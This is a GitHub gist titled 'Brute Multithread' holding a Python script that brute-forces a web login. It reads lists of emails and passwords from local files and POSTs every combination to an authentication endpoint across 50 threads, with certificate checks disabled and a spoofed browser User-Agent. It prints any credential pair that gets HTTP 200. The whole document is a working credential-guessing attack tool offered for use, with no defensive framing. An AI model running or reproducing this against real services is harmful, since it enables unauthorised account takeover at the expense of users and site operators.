Skip to content

Instantly share code, notes, and snippets.

@iklobato
Created November 3, 2020 01:51
Show Gist options
  • Save iklobato/b208e2aeef64e1f5404093868e0240bd to your computer and use it in GitHub Desktop.
Save iklobato/b208e2aeef64e1f5404093868e0240bd to your computer and use it in GitHub Desktop.
Brute Multithread
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
import requests
import json
import concurrent.futures
cookies = {
'io': 'HtsVc9fnegA8bP5jAAOe',
}
headers = {
'Connection': 'keep-alive',
'Accept': 'application/json, text/plain, */*',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36',
'Content-Type': 'application/json;charset=UTF-8',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Dest': 'empty',
'Accept-Language': 'en-US,en;q=0.9',
}
file_usernames = open('emails.txt', 'r')
usernames = file_usernames.read().splitlines()
file_usernames.close()
file_passwords = open('gen2.txt', 'r')
passwords = file_passwords.read().splitlines()
file_passwords.close()
def make_login(headers, cookies, data):
response = requests.post('https://api/auth/password',
headers=headers,
cookies=cookies,
data=data,
verify=False)
stat = response.status_code
if stat == 200:
log = f'[{response.status_code}] {data}'
print(log)
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
for name in usernames:
name = name.strip()
for password in passwords:
data = {
"email": name,
"password": password
}
data = json.dumps(data)
future = executor.submit(make_login, headers, cookies, data)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment